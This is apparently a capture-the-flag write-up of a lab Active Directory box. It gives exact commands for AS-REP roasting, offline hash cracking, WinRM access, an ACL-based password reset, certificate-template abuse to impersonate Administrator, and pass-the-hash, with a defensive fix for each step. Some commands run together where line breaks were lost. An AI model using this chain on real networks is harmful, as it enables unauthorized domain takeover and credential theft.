Infiltrator
Summary
I harvested employee full names from the company's public website and converted them to Active Directory usernames using the standard first-initial-last-name convention. One account — l.clark — had Kerberos pre-authentication disabled, allowing me to request an offline-crackable AS-REP hash without triggering any logon alert. The hash was cracked in minutes with a common wordlist, yielding l.clark:[REDACTED: recovered credential], which granted an interactive WinRM shell on the domain controller.
BloodHound ACL mapping then revealed that the built-in Account Operators group held GenericAll (full control) rights over the winrm_svc service account, allowing me to force-reset its password and pivot to a higher-privilege identity. From that foothold, a misconfigured Active Directory Certificate Services template permitted enrollment by low-privileged accounts with my own identity fields; a certificate impersonating the domain Administrator was requested, used to obtain the Administrator's Kerberos ticket via PKINIT, and the resulting NT hash provided full domain compromise via Pass-the-Hash.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 2
curl -s http://$TARGET/ -o idx.html && grep -oE '[A-Z][a-z]+ [A-Z][a-z]+' idx.html | sort -uawk '{print tolower(substr($1,1,1)) "." tolower($2)}' names.txt > users.txtFixRemove employee full names from public-facing web pagesMedium
Exact commands 2
echo "$TARGET infiltrator.htb dc01.infiltrator.htb" | sudo tee -a /etc/hostsimpacket-GetNPUsers infiltrator.htb/ -dc-ip $TARGET -usersfile users.txt -no-pass -format hashcat -outputfile asrep_h.txtFixEnable Kerberos pre-authentication on all domain accountsHigh
Exact commands 3
hashcat -m 18200 -a 0 asrep_h.txt /usr/share/wordlists/rockyou.txtnxc smb $TARGET -u l.clark -p '$PASSWORD2'nxc winrm $TARGET -u l.clark -p '$PASSWORD2'FixEnforce a strong password policy and proactively audit for weak credentialsHigh
Exact commands 2
evil-winrm -i $TARGET -u l.clark -p '$PASSWORD2'type C:\Users\l.clark\Desktop\user.txtExact commands 2
bloodhound-python -u l.clark -p '$PASSWORD2' -d infiltrator.htb -ns $TARGET -c All --zipbloodyAD --host $TARGET -d infiltrator.htb -u l.clark -p '$PASSWORD2' get writableExact commands 2
bloodyAD --host $TARGET -d infiltrator.htb -u l.clark -p '$PASSWORD2' set password winrm_svc "$PASSWORD"evil-winrm -i $TARGET -u winrm_svc -p "$PASSWORD"FixRemove GenericAll ACL grants from Account Operators and other built-in operator groupsCritical
Exact commands 5
certipy find -u winrm_svc@infiltrator.htb -p "$PASSWORD" -dc-ip $TARGET -vulnerable -stdoutcertipy req -u winrm_svc@infiltrator.htb -p "$PASSWORD" -dc-ip $TARGET -ca infiltrator-DC01-CA -template <VulnerableTemplate> -upn administrator@infiltrator.htbcertipy auth -pfx administrator.pfx -dc-ip $TARGETevil-winrm -i $TARGET -u Administrator -H '<ADMINISTRATOR_NT_HASH>'type C:\Users\Administrator\Desktop\root.txtFixHarden Active Directory Certificate Services templates and restrict enrollment permissionsCritical
Attack patterns used
The transferable techniques behind this compromise.
AS-REP RoastingActive Directory · KerberosT1558.004
What it is
Accounts with 'Do not require Kerberos pre-authentication' set will return an AS-REP whose encrypted portion is derived from the user's password — to anyone who asks, without credentials. Tools like GetNPUsers.py collect these AS-REP blobs and they are cracked offline with hashcat (mode 18200) to recover the plaintext password.
Why it works
Pre-authentication exists precisely to stop this offline-crackable material from being handed out; disabling it (often for legacy app compatibility) reopens the hole. Detect by auditing the DONT_REQ_PREAUTH UAC flag; remediate by removing it and enforcing strong passwords.
Read more
Exposed services
| 53/tcp | domain |
| 80/tcp | http |
| 88/tcp | kerberos-sec |
| 135/tcp | msrpc |
| 139/tcp | netbios-ssn |
| 389/tcp | ldap |
| 445/tcp | microsoft-ds |
| 464/tcp | kpasswd5 |
| 593/tcp | http-rpc-epmap |
| 636/tcp | ldapssl |
| 3268/tcp | globalcatLDAP |
| 3269/tcp | globalcatLDAPssl |
| 3389/tcp | ms-wbt-server |
| 5985/tcp | wsman |
| 9389/tcp | adws |
| 49666/tcp | unknown recon-sweep-discovered |
| 49694/tcp | unknown recon-sweep-discovered |
| 49695/tcp | unknown recon-sweep-discovered |
| 49700/tcp | unknown recon-sweep-discovered |
| 49728/tcp | unknown recon-sweep-discovered |
| 49733/tcp | unknown recon-sweep-discovered |
| 14118/tcp | ssl/unknown |
| 14119/tcp | ssl/unknown |
| 14121/tcp | unknown |
| 14122/tcp | unknown |
| 14123/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 14125/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 14126/tcp | http Apache httpd 2.4.9 ((Win32) PHP/5.5.12) |
| 14127/tcp | unknown |
| 14128/tcp | unknown |
| 14130/tcp | unknown |
| 14406/tcp | mysql MySQL 5.5.5-10.1.19-MariaDB |
| 15220/tcp | unknown |
| 15223/tcp | unknown |
| 15230/tcp | unknown |
| 49668/tcp | unknown |
| 49688/tcp | unknown |
| 49689/tcp | unknown |
| 49692/tcp | unknown |
| 49718/tcp | unknown |
| 49741/tcp | unknown |
| 49873/tcp | unknown |